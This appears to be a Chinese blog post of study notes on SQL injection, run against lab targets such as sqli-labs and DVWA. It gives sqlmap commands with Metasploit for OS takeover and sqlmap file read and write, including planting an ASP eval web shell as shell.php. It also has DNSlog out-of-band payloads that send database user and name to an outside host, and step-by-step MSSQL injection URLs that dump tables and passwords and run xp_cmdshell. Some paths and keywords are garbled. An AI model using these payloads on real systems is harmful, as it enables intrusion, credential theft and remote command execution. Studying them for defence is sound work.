zoukankan      html  css  js  c++  java
  • 10.29 SQLMAP综合运用

    SqlmapMSF结合使用

    sqlmap -u 目标URL -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-frameworkmetasploit位置)

    Sqlmap结合BS的使用

    Step1:开启BP的日志记录功能,并保存到桌面中

    Step2:打开浏览器中代理并设置BP中代理开关为“Intercept is off

    Step3

    Step4:打开sqlmap测试,python sqlmap.py -I C:User.....log.txt -batch

    -l 表示从文件读取http请求,测试完之后的结果生成一个.csv格式的文件

    通过sqlmap 读写文件
     -file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
     -file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 mssql xp_shell
     -file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
       python sqlmap.py -u "http://192.168.11.176/sqli-labs-master/Less-1/?id=1" --file-read="G:phpStudyWWW 1.txt"
      python sqlmap.py -u "http://192.168.11.176/sqli-labs-master/Less-1/?id=1" --file-dest="G:\phpStudy\WWW\result.txt" --file-write="c:\test.txt"
     
        c:\test.txt  <% eval Request("cmd") %>  
        python sqlmap.py -u "target_url" --file-dest="/var/www/shell.php" --file-write="c:\test.txt"

    使用DVWA中的测试DNSlog在盲注中的应用

    Step1:测试注入点,判断列数

    Step2:测试网站对DNSlog提供的URL是否解析

    http://127.0.0.1/www/DVWA-1.9/vulnerabilities/sqli_blind/?id=1’+union+select+load_file(‘\\test.zy1ph7pdmh.......\aaa’),2%23&Submit=Submit# 注意网站的响应时间,一般较长,表示可以解析

    Step3:使用concat拼接urlsql语句

    http://127.0.0.1/www/DVWA-1.9/vulnerabilities/sqli_blind/?id=1’+union+select+load_file(concat('\\',(select user()),'test.zy1ph7pdmh.......\aaa')),2%23&Submit=Submit#

    接下来只要将select user()更换

    1’ and if((select load_file(concat(‘\\’,(select database()),’.zy1ph7pdmh.......\abc’)))1,0)

    MSSQL手工注入

    Step1:寻找注入位置

    Step2:判断数据库类型

    Select *from sysobjectssysobjects系统对象表,保存当前数据库的对象)

    Select*from users WHERE id=1 and EXITS(select * from sysobjects)

    http://127.0.0.1/less-1.asp?id=1’ and exits(select * from sysobjects)--  有结果则说明后天数据是mssql

    还有其他方法:常用框架组合方法asp+mssql/页面报错信息

    Step3

    select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa

    select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner

    select is_srvrolemember('public');判断是否有public权限,可以爆破表

    Step4

    当前用户:user   http://127.0.0.1/less-1.asp?id=1’ and (user)=1--

    数据库版本:select db_name()

    http://127.0.0.1/less-1.asp?id=1' and (select db_name())=1 --

    http://127.0.0.1/less-1.asp?id=1' and (convert(int,db_name()))=1 --

    当前数据库:

    SELECT db_name(0) 当前数据库,其中的参数表示第几个数据库

    所有的数据库:http://127.0.0.1/less-1.asp?id=1' and (convert(int,db_name(2)))=1-- //变换其中数据可以爆出所有的数据库名称(方法1

    SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');(方法2

    SELECT top 1 Name FROM Master..SysDatabases在系统数据库中能够查询所有的数据库

    where name not in ('master','aspcms')表示查找的结果不在括号中的集合里

    http://127.0.0.1/less-1.asp?id=1’ and (SELECT top 1 Name FROM Master..SysDatabases)=1--

    http://127.0.0.1/less-1.asp?id=1’ and (SELECT top 10 Name FROM Master..SysDatabases)

    Step5:当前数据库中表

    Select top 1 name from test.sys.all_objects where type=’U’ AND is_ms_shipped=0  获取第一表名

    http://127.0.0.1/less-1.sap?id=1' and (select top 1 name from test.sys.all_objects where type=’U’ AND is_ms_shipped=0)=1--

    Step6:获取指定表的字段名

    Select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=’users’

    http://127.0.0.1/less-1.sap?id=1' and (Select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=’users’)=1--

    http://127.0.0.1/less-1.sap?id=1' and (Select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=’users’ and column_name not in (‘id’))=1--   //username出来了

    http://127.0.0.1/less-1.sap?id=1' and (Select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=’users’ and column_name not in (‘id’,’username’))=1--   //password出来了

    Step7:获取字段数据

    Select top 1 username from users

    Select top 1 password from users

    http://127.0.0.1/less-1.sap?id=1' and (select top 1 password from users)=1--

    解密数据,登录后台

    MSSQLxp_cmdshell扩展

    判断当前mssql数据库是否有xp_cmdshell扩展

    Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

    http://127.0.0.1/less-1.sap?id=1' and (select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

    )=1--返回1 说明有;返回0 说明没有。

    exec master..xp_cmdshell ‘whoami’     执行xp_cmdshell插件运行’whoami’

  • 相关阅读:
    工作中遇到新知识应该怎么办
    Java中的集合
    JSTL学习(二)自定义标签库
    别跟我扯依赖注入
    经典算法的分析
    Debian
    C 底层细节【转】
    C文件操作 【转】
    利用strstr和sscanf解析GPS信息
    算法学习建议 ACM()转
  • 原文地址:https://www.cnblogs.com/x98339/p/11760278.html
Copyright © 2011-2022 走看看